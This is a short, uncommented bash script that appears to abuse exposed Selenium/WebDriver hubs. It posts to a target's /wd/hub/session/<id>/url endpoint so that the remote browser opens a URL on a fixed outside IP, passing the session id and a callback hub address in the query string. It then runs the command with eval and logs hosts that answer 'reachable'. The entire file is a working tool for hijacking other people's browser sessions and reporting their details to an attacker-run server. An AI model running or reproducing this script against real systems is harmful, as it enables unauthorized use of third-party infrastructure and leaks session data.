#!/usr/bin/env bash


cmd="curl -s --connect-timeout 8 -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
    \"url\": \"http://47.52.168.156?wdsid=$3&wdurl=http%3A%2F%2F45.33.124.8%3A4444%2Fwd%2Fhub\"\
    }' http://$1:$2/wd/hub/session/$3/url"

#echo $cmd
res=`eval $cmd`
if [[ $res =~ 'reachable' ]]
then
	echo $1 >> fail_reachable
fi
